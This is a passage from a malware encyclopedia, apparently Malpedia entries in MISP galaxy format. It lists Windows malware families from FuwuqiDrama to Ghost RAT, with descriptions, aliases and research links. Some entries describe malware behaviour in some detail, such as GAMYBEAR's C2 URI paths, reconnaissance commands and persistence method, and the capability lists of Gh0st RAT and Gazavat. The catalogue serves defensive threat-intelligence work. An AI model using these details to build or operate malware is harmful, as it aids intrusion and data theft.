FuwuqiDrama is a server-side RAT. It manages client connections by utilizing I/O completion ports, which are usually used in high-performance server applications as an elegant solution to manage

many clients at once.

It contains two distinguishing hardcoded lists.

First is a list of ~50 video files of South Korean TV series, having their titles translated to Mandarin Chinese, but encoded in the form of Pinyin romanization. That means the sounds are spelled in Latin alphabet without tone marks, for example meiyounihuobuxiaqu.avi represents Can't Live Without You (a K-drama from 2012) or wulalafufu.avi translates to Ohlala Couple (also from 2012).

Second is the list of the following corporations: NVIDIA, Amazon, Intel, Skype, 360Safe, Rising, Tencent, Mozilla, Adobe, Yahoo, Google. The same list is contained in some of the WannaCryptor samples.

FuwuqiDrama stores its configuration in the INI file data\package_con_x86.cat. It contains the port number and a bot identifier, all within a single section called Fuwuqi – the romanized Chinese word for server.

The tag is: *misp-galaxy:malpedia="FuwuqiDrama"*

FuwuqiDrama is also known as:

Table 3914. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fuwuqidrama
https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Kalnai-Poslusny.pdf

FuxSocy

FuxSocy has some similarities to win.cerber but is tracked as its own family for now.

The tag is: *misp-galaxy:malpedia="FuxSocy"*

FuxSocy is also known as:

Table 3915. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fuxsocy
http://id-ransomware.blogspot.com/2019/10/fuxsocy-encryptor-ransomware.html
https://www.bleepingcomputer.com/news/security/new-fuxsocy-ransomware-impersonates-the-notorious-cerber/

GaboonGrabber

According to ANY.RUN, the GaboonGrabber is a malware developed in .NET that grabs its embedded resources to prepare multiple fileless stages. Additionally, it has the tendency to camouflage itself as a legitimate application, going so far as to mimic legitimate applications in its

decompiled code. It also includes a steganographic image used to prepare further payloads.

GaboonGrabber's final stage can deploy various types of malware, including Snake Keylogger, AgentTesla, Redline, Lokibot, and more.

The tag is: *misp-galaxy:malpedia="GaboonGrabber"*

GaboonGrabber is also known as:

Table 3916. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gaboongrabber
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/
https://app.any.run/tasks/65855217-7209-4eae-a572-b030a2305b22/

Gacrux

The tag is: *misp-galaxy:malpedia="Gacrux"*

Gacrux is also known as:

Table 3917. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gacrux
https://krabsonsecurity.com/2020/10/24/gacrux-a-basic-c-malware-with-a-custom-pe-loader/

Gaganode (Windows)

According to Synthient, Gaganode is a decentralized bandwidth monetization service that enables both users and publishers to earn crypto for their bandwidth or monetize other people's bandwidth. The SDK intentionally implements RCE, thus aligning Gaganode more closely with malware than standard commercial SDKs.

The tag is: *misp-galaxy:malpedia="Gaganode (Windows)"*

Gaganode (Windows) is also known as:

Table 3918. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gaganode
https://synthient.com/blog/ipcola-a-tangled-mess

GalaxyLoader

GalaxyLoader is a simple .NET loader. Its name stems from the .pdb and the function naming.

It seems to make use of iplogger.com for tracking. It employed WMI to check the system for - IWbemServices::ExecQuery - SELECT * FROM Win32_Processor - IWbemServices::ExecQuery - select * from Win32_VideoController - IWbemServices::ExecQuery - SELECT * FROM AntivirusProduct

The tag is: *misp-galaxy:malpedia="GalaxyLoader"*

GalaxyLoader is also known as:

Table 3919. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.galaxyloader

gamapos

The tag is: *misp-galaxy:malpedia="gamapos"*

gamapos is also known as:

- pios

Table 3920. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gamapos
http://documents.trendmicro.com/assets/GamaPOS_Technical_Brief.pdf

Gameover DGA

The tag is: *misp-galaxy:malpedia="Gameover DGA"*

Gameover DGA is also known as:

Table 3921. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_dga

Gameover P2P

Gameover ZeuS is a peer-to-peer botnet based on components from the earlier ZeuS trojan. According to a report by Symantec, Gameover Zeus has largely been used for banking fraud and distribution of the CryptoLocker ransomware. In early June 2014, the U.S. Department of Justice

announced that an international inter-agency collaboration named Operation Tovar had succeeded in temporarily cutting communication between Gameover ZeuS and its command and control servers.

The tag is: *misp-galaxy:malpedia="Gameover P2P"*

Gameover P2P is also known as:

- GOZ
- Gameover ZeuS
- Mapp
- ZeuS P2P

Table 3922. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_p2p
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.intel471.com/blog/cybercrime-russia-china-iran-nation-state
http://www.syssec-project.eu/m/page-media/3/zeus_malware13.pdf
https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group
https://www.wired.com/2017/03/russian-hacker-spy-botnet/
https://www.lawfareblog.com/what-point-these-nation-state-indictments
https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware
https://www.wired.com/?p=2171700
https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://www.cert.pl/wp-content/uploads/2015/12/2013-06-p2p-rap_en.pdf
https://bin.re/blog/three-variants-of-murofets-dga/
https://web.archive.org/web/20141016080249/http://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware
https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/
https://nbviewer.org/github/tildedennis/zeusmuseum/blob/master/jupyter_notebooks/gameover/2014-05-28/Gameover%20version%202014-05-28.ipynb
https://www.blackhat.com/docs/us-15/materials/us-15-Peterson-GameOver-Zeus-Badguys-And-Backends.pdf

GamePlayerFramework

The tag is: *misp-galaxy:malpedia="GamePlayerFramework"*

GamePlayerFramework is also known as:

Table 3923. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.game_player_framework
https://securelist.com/diceyf-deploys-gameplayerframework-in-online-casino-development-studio/107723/
https://www.youtube.com/watch?v=yVqALLtvkN8&t=8117s

Gamotrol

The tag is: *misp-galaxy:malpedia="Gamotrol"*

Gamotrol is also known as:

Table 3924. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gamotrol

GAMYBEAR

GAMYBEAR

A software tool developed using the Go programming language. Its main functionality is to receive (“listener”), execute (‘executor’) commands, and send (“sender”) results to the control server in BASE64-encoded form using the HTTP protocol.

When launched, it generates a unique identifier (UUID), receives basic information about the computer (“whoami”, “wmic nicconfig where IPEnabled=true get IPAddress”), creates a helper file %APPDATA%\ updater.json, where the URL of the control server is stored in JSON format (key “update_server”), as well as other listed data in BASE64-encoded form (keys: “uuid”, ‘hostname’, “ip”, respectively).

During operation, the software regularly sends requests to the control server (URI: “/c2/get_commands/”) and waits for a response in JSON format with the ‘command’ and “arguments” fields. If the “Nop” command is received, a 15-second pause is initiated. After the commands are executed, the result and other data are encoded using BASE64, stored in a JSON structure (keys: “uuid”, “command”, ‘output’) and sent to the control server with a request to the URI “/c2/command_out/”.

The consistency of the launch is ensured by another program (script) at the stage of the initial infection of the computer by creating a key in the “Run” branch of the operating system registry.

The tag is: *misp-galaxy:malpedia="GAMYBEAR"*

GAMYBEAR is also known as:

Table 3925. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gamybear
https://cert.gov.ua/article/6286219

Gandcrab

GandCrab was a Ransomware-as-a-Service (RaaS) emerged in January 28, 2018, managed by a criminal organization known to be confident and vocal, while running a rapidly evolving ransomware campaign. Through their aggressive, albeit unusual, marketing strategies and constant recruitment of affiliates, they were able to globally distribute a high volume of their malware.

In a surprising announcement on May 31, 2019, the GandCrab's operators posted on a dark web forum, announced the end of a little more than a year of ransomware operations, citing staggering profit figures. However, If there's one thing that sets these threat actors apart from other groups, it is that they are unpredictable; so there is always the possibility that they might re-surface in one form or another.

The tag is: *misp-galaxy:malpedia="Gandcrab"*

Gandcrab is also known as:

- GrandCrab

Table 3926. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gandcrab
http://www.vmray.com/cyber-security-blog/gandcrab-ransomware-evolution-analysis/
https://vimeo.com/449849549
https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/
https://www.europol.europa.eu/newsroom/news/pay-no-more-universal-gandcrab-decryption-tool-released-for-free-no-more-ransom
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1
https://tccontre.blogspot.com/2018/11/re-gandcrab-downloader-theres-more-to.html
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-shutting-down-after-claiming-to-earn-25-billion/
https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/

https://unit42.paloaltonetworks.com/revil-threat-actors/

https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf

https://www.mandiant.com/resources/blog/fallout-exploit-kit-used-in-malvertising-campaign-to-deliver-gandcrab-ransomware

https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/

https://hotforsecurity.bitdefender.com/blog/belarus-authorities-arrest-gandcrab-ransomware-operator-23860.html

https://blog.talosintelligence.com/2018/05/gandcrab-compromised-sites.html

https://labs.bitdefender.com/2019/06/good-riddance-gandcrab-were-still-fixing-the-mess-you-left-behind

https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://www.virusbulletin.com/virusbulletin/2019/11/vb2019-paper-different-ways-cook-crab-gandcrab-ransomware-service-raas-analysed-indepth/

https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/

https://asec.ahnlab.com/en/41450/

https://news.sophos.com/en-us/2019/03/05/gandcrab-101-all-about-the-most-widely-distributed-ransomware-of-the-moment/

https://www.virusbulletin.com/virusbulletin/2020/01/behind-scenes-gandcrabs-operation/

https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf

https://isc.sans.edu/diary/23417

https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/

https://web.archive.org/web/20190331091056/https://myonlinesecurity.co.uk/fake-cdc-flu-pandemic-warning-delivers-gandcrab-5-2-ransomware/

https://sensorstechforum.com/killswitch-file-now-available-gandcrab-v4-1-2-ransomware/

https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/

http://asec.ahnlab.com/1145

https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf

https://intel471.com/blog/a-brief-history-of-ta505

https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf

https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

https://labs.bitdefender.com/2018/02/gandcrab-ransomware-decryption-tool-available-for-free/

https://news.sophos.com/en-us/2019/05/24/gandcrab-spreading-via-directed-attacks-against-mysql-servers/

https://www.advanced-intel.com/post/the-dark-web-of-intrigue-how-revil-used-the-underground-ecosystem-to-form-an-extortion-cartel

https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/

https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/

https://www.fortinet.com/blog/threat-research/gandcrab-threat-actors-retire.html

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf

https://blog.malwarebytes.com/threat-analysis/2019/01/vidar-gandcrab-stealer-and-ransomware-combo-observed-in-the-wild/

http://www.secureworks.com/research/threat-profiles/gold-garden

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf

https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/

https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights

https://www.youtube.com/watch?v=LUxOcpIRxmg

https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf

https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-operator-arrested-in-belarus/

https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/

https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf

https://www.secureworks.com/research/threat-profiles/gold-garden

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://www.scmagazine.com/home/security-news/ransomware/gandcrab-ransomware-operators-put-in-retirement-papers/

https://labs.bitdefender.com/2019/02/new-gandcrab-v5-1-decryptor-available-now/

https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf

https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html

https://krebsonsecurity.com/2019/07/whos-behind-the-gandcrab-ransomware/

Gasket

A backdoor used by Mespinoza ransomware gang to maintain access to a compromised network.

The tag is: *misp-galaxy:malpedia="Gasket"*

Gasket is also known as:

Table 3927. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gasket
https://unit42.paloaltonetworks.com/gasket-and-magicsocks-tools-install-mespinoza-ransomware/

Gaudox

Gaudox is a http loader, written in C/C++. The author claims to have put much effort into making this bot efficient and stable. Its rootkit functionality hides it in Windows Explorer (32bit only).

The tag is: *misp-galaxy:malpedia="Gaudox"*

Gaudox is also known as:

Table 3928. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gaudox
http://nettoolz.blogspot.ch/2016/03/gaudox-http-bot-1101-casm-ring3-rootkit.html

Gauss

The tag is: *misp-galaxy:malpedia="Gauss"*

Gauss is also known as:

Table 3929. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gauss
http://contagiodump.blogspot.com/2012/08/gauss-samples-nation-state-cyber.html
https://web.archive.org/web/20230416140914if_/http://www.chinaview.cn/20230411/4e0fa0f4fd1d408aaddeef8be63a4757/202304114e0fa0f4fd1d408aaddeef8be63a4757_20230411161526_0531.pdf
https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf

Gazavat

Gazavat (which is often tagged as Expiro by AV vendors) is a multi-functional backdoor that has code overlaps with the POS malware DMSniff. Functionality includes: - Loading other executables - Load hash cracking plugin - Load DMSniff plugin - Perform webinjection and webfakes - Form grabbing - Command execution - Download file from infected system - Convert infection into proxy - DDOS - Spreading and EXE infecting

The tag is: *misp-galaxy:malpedia="Gazavat"*

Gazavat is also known as:

Table 3930. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gazavat
https://medium.com/walmartglobaltech/gazavat-expiro-dmsniff-connection-and-dga-analysis-8b965cc0221d

Gazer

The tag is: *misp-galaxy:malpedia="Gazer"*

Gazer is also known as:

- WhiteBear

Table 3931. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gazer
https://pdfhost.io/v/F0@QElMu2_MacProStorage_2017FinalBitdefenderWhitepaperNetrepserA4en_ENBitdefenderWhitepaperNetrepserA4en_ENindd.pdf
https://securelist.com/introducing-whitebear/81638/
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/
https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/
https://cocomelonc.github.io/tutorial/2022/04/26/malware-pers-2.html
https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html
https://www.youtube.com/watch?v=Pvzhtjl86wc
https://github.com/eset/malware-ioc/tree/master/turla
https://cocomelonc.github.io/malware/2023/07/26/malware-tricks-35.html
https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/
https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf

GCleaner

The tag is: *misp-galaxy:malpedia="GCleaner"*

GCleaner is also known as:

Table 3932. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gcleaner
https://n1ght-w0lf.github.io/malware%20analysis/gcleaner-loader/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://bazaar.abuse.ch/browse/signature/GCleaner/
https://github.com/VenzoV/MalwareAnalysisReports/blob/main/GCleaner/GCleaner%20Techincal%20Analysis%20with%20BinaryNinja.md
https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/

gcman

The tag is: *misp-galaxy:malpedia="gcman"*

gcman is also known as:

Table 3933. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gcman
https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/

Gdrive

According to Unit 42, this is a .NET X64 malware that is capable of interaction with GoogleDrive, allowing an attacker to have victim information uploaded and payloads delivered.

The tag is: *misp-galaxy:malpedia="Gdrive"*

Gdrive is also known as:

- DoomDrive
- GoogleDriveSucks

Table 3934. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gdrive

https://services.google.com/fh/files/blogs/gcat_threathorizons_full_apr2023.pdf
https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/
https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/

GearInformer

The tag is: *misp-galaxy:malpedia="GearInformer"*

GearInformer is also known as:

Table 3935. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gearinformer
https://wapacklabs.blogspot.ch/2017/02/rebranding-ispy-keylogger-gear-informer.html

GEARSHIFT

According to FireEye, GEARSHIFT is a memory-only dropper for two keylogger DLLs. It is designed to replace a legitimate Fax Service DLL.

The tag is: *misp-galaxy:malpedia="GEARSHIFT"*

GEARSHIFT is also known as:

Table 3936. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gearshift
https://content.fireeye.com/apt-41/rpt-apt41/

GEMCUTTER

According to FireEye, GEMCUTTER is used in a similar capacity as BACKBEND (downloader), but maintains persistence by creating a Windows registry run key. GEMCUTTER checks for the presence of the mutex MicrosoftGMMZJ to ensure only one copy of GEMCUTTER is executing. If the mutex doesn't exist, the malware creates it and continues execution; otherwise, the malware signals the MicrosoftGMMExit event.

The tag is: *misp-galaxy:malpedia="GEMCUTTER"*

GEMCUTTER is also known as:

Table 3937. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gemcutter

https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

GeminiDuke

The tag is: *misp-galaxy:malpedia="GeminiDuke"*

GeminiDuke is also known as:

Table 3938. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.geminiduke
https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf

Get2

The tag is: *misp-galaxy:malpedia="Get2"*

Get2 is also known as:

- FRIENDSPEAK
- GetandGo

Table 3939. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.get2
https://www.hornetsecurity.com/en/security-information/clop-clop-ta505-html-malspam-analysis/
https://www.goggleheadedhacker.com/blog/post/13
https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/cybercriminal%20groups/TA505/04-10-2019/Malware%20Analysis%2004-10-2019.md
https://intel471.com/blog/a-brief-history-of-ta505
https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update

https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7
https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://blog.intel471.com/2020/07/15/flowspec-ta505s-bulletproof-hoster-of-choice/
https://www.secureworks.com/research/threat-profiles/gold-tahoe
https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader
https://intel471.com/blog/ta505-get2-loader-malware-december-2020/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://github.com/Tera0017/TAFOF-Unpacker
https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824

GetMail

The tag is: *misp-galaxy:malpedia="GetMail"*

GetMail is also known as:

Table 3940. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.getmail
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

GetMyPass

The tag is: *misp-galaxy:malpedia="GetMyPass"*

GetMyPass is also known as:

- getmypos

Table 3941. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.getmypass
https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2014-11-26-getmypass-point-of-sale-malware.md
https://securitykitten.github.io/2015/01/08/getmypass-point-of-sale-malware-update.html
https://securitykitten.github.io/2014/11/26/getmypass-point-of-sale-malware.html

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-evolution-of-point-of-sale-pos-malware
https://blog.trendmicro.com/trendlabs-security-intelligence/new-pos-malware-kicks-off-holiday-shopping-weekend/
https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-01-08-getmypass-point-of-sale-malware-update.md

get_pwd

The tag is: *misp-galaxy:malpedia="get_pwd"*

get_pwd is also known as:

Table 3942. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.get_pwd
https://ihonker.org/thread-1504-1-1.html

Gh0stBins

The tag is: *misp-galaxy:malpedia="Gh0stBins"*

Gh0stBins is also known as:

- Gh0stBins RAT

Table 3943. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gh0stbins
https://any.run/cybersecurity-blog/gh0stbins-chinese-rat-malware-analysis/

Gh0stTimes

Custom RAT developed by the BlackTech actor, based on the Gh0st RAT.

The tag is: *misp-galaxy:malpedia="Gh0stTimes"*

Gh0stTimes is also known as:

Table 3944. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gh0sttimes
https://www.youtube.com/watch?v=uakw2HMGZ-I

https://blogs.jpcert.or.jp/en/2021/10/gh0sttimes.html
https://jp.security.ntt/resources/EN-BlackTech_2021.pdf

GHAMBAR

According to Mandiant, GHAMBAR is a remote administration tool (RAT) that communicates with its C2 server using SOAP requests over HTTP. Its capabilities include filesystem manipulation, file upload and download, shell command execution, keylogging, screen capture, clipboard monitoring, and additional plugin execution.

The tag is: *misp-galaxy:malpedia="GHAMBAR"*

GHAMBAR is also known as:

Table 3945. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghambar
https://www.mandiant.com/media/17826
https://socradar.io/dark-web-profile-apt42-iranian-cyber-espionage-group/

Ghole

The tag is: *misp-galaxy:malpedia="Ghole"*

Ghole is also known as:

- CoreImpact (Modified)
- Gholee

Table 3946. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghole
http://www.trendmicro.it/media/wp/operation-woolen-goldfish-whitepaper-en.pdf
https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf
https://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/

GhostEmperor

The tag is: *misp-galaxy:malpedia="GhostEmperor"*

GhostEmperor is also known as:

Table 3947. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostemperor
https://securelist.com/ghostemperor-from-proxylogon-to-kernel-mode/104407/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/30094337/GhostEmperor_technical-details_PDF_eng.pdf
https://www.kaspersky.com/about/press-releases/2021_ghostemperor-chinese-speaking-apt-targets-high-profile-victims-using-unknown-rootkit
https://www.sygnia.co/blog/ghost-emperor-demodex-rootkit/

win.ghostengine

The tag is: *misp-galaxy:malpedia="win.ghostengine"*

win.ghostengine is also known as:

Table 3948. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostengine
https://www.darkreading.com/cyberattacks-data-breaches/novel-edr-killing-ghostengine-malware-stealth
https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GhostEngine.yar

Gh0stnet

The tag is: *misp-galaxy:malpedia="Gh0stnet"*

Gh0stnet is also known as:

- Remosh

Table 3949. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostnet
https://en.wikipedia.org/wiki/GhostNet
https://www.nartv.org/2019/03/28/10-years-since-ghostnet/
http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html
https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf

GhostSocks

GhostSocks, a Golang-based proxy malware, was first advertised as a Malware-as-a-Service (MaaS) on Russian-speaking underground forums in October 2023. It uses back-connect socket secure internet protocol (SOCKS5) connections and is available for rent for US $100 per month. In February 2024, the author of Lumma Stealer released an update introducing the integration of proxying capabilities. This feature, developed in partnership with GhostSocks, allows the use of infected hosts as SOCKS5 proxies and is available to all subscribers who purchase the "Professional" or higher tier plan. This integration allows Lumma Stealer users to establish a network of residential IP addresses for various purposes, including credential checking, spam distribution, or as general-purpose proxies.

The tag is: *misp-galaxy:malpedia="GhostSocks"*

GhostSocks is also known as:

Table 3950. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostsocks
https://spycloud.com/blog/on-the-hunt-for-ghostsocks/
https://www.rapid7.com/blog/post/2024/08/12/ongoing-social-engineering-campaign-refreshes-payloads/
https://infrawatch.app/blog/ghostsocks-lummas-partner-in-proxy
https://thedfirreport.com/2025/01/27/cobalt-strike-and-a-pair-of-socks-lead-to-lockbit-ransomware/
https://www.zscaler.com/blogs/security-research/inside-zloader-s-latest-trick-dns-tunneling
https://twitter.com/g0njxa/status/1754630820650696875
https://spycloud.com/blog/lummac2-malware-stealthier-capabilities/
https://synthient.com/blog/ghostsocks-from-initial-access-to-residential-proxy

GhostAdmin

The tag is: *misp-galaxy:malpedia="GhostAdmin"*

GhostAdmin is also known as:

- Ghost iBot

Table 3951. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_admin
https://www.cylance.com/en_us/blog/threat-spotlight-ghostadmin.html
https://www.bleepingcomputer.com/news/security/new-ghostadmin-malware-used-for-data-theft-and-exfiltration/

GhostLocker

The tag is: *misp-galaxy:malpedia="GhostLocker"*

GhostLocker is also known as:

Table 3952. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_locker
https://threatmon.io/ghostlocker-ransomware-analysis/
https://www.uptycs.com/blog/ghostlocker-ransomware-ghostsec

Ghost RAT

According to Security Ninja, Gh0st RAT (Remote Access Terminal) is a trojan “Remote Access Tool” used on Windows platforms, and has been used to hack into some of the most sensitive computer networks on Earth.

Below is a list of Gh0st RAT capabilities. Take full control of the remote screen on the infected bot. Provide real time as well as offline keystroke logging. Provide live feed of webcam, microphone of infected host. Download remote binaries on the infected remote host. Take control of remote shutdown and reboot of host. Disable infected computer remote pointer and keyboard input. Enter into shell of remote infected host with full control. Provide a list of all the active processes. Clear all existing SSDT of all existing hooks.

The tag is: *misp-galaxy:malpedia="Ghost RAT"*

Ghost RAT is also known as:

- Farfli
- Gh0st RAT
- PCRat

Table 3953. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat
https://attack.mitre.org/groups/G0001/
https://medium.com/insomniacs/what-happened-between-the-bigbadwolf-and-the-tiger-925549a105b2
https://www.bitdefender.com/files/News/CaseStudies/study/185/Bitdefender-Business-2017-WhitePaper-PZCHAO-crea2452-en-EN-GenericUse.pdf
https://st.drweb.com/static/new-www/news/2021/april/drweb_research_attacks_on_russian_research_institutes_en.pdf

https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf

https://defentive.medium.com/lost-in-translation-threat-actors-use-seo-poisoning-and-fake-deepl-sites-to-distribute-gh0st-rat-4e827539601d

https://blog.prevailion.com/2020/06/the-gh0st-remains-same8.html

http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf

https://us-cert.cisa.gov/ncas/alerts/aa20-345a

http://www.hexblog.com/?p=1248

https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/

https://www.youtube.com/watch?v=uakw2HMGZ-I

https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf

https://asec.ahnlab.com/ko/87728/

https://insights.bridewell.com/hubfs/Cyber%20Threat%20Intelligence%20Report%202025.pdf

https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/

